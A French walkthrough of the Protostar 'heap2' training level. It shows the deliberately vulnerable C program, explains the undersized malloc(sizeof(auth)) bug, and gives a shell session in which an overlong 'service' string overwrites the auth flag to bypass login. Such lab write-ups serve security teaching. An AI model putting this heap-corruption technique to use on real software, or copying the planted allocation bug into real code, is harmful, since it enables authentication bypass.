#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if(strncmp(line, "reset", 5) == 0) { free(auth); } if(strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if(strncmp(line, "login", 5) == 0) { if(auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } } }
On remarque (pas immédiatement si ça peut vous rassurer) que le malloc
au niveau de auth
n'est pas de la bonne taille. sizeof(auth)
renvois 4, alors que nous devons allouer un buffer de 36 octets ! auth
est en fait un pointeur, donc il fait 4 octets en mémoire, pour avoir la bonne taille, il aurait fallu mettre sizeof(struct auth)
.
On va donc pouvoir écrire grâce à la variable service
par dessus là où devrait être notre variable auth
de struct auth
. Il faut savoir que la fonction strdup
duplie une chaine dans un espace mémoire alloué à la bonne taille grâce à un malloc
puis renvois l'adresse de ce buffer.
user@protostar:/opt/protostar/bin$ ./heap2 [ auth = (nil), service = (nil) ] auth BBBB [ auth = 0x804c008, service = (nil) ] service AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ auth = 0x804c008, service = 0x804c018 ] login you have logged in already!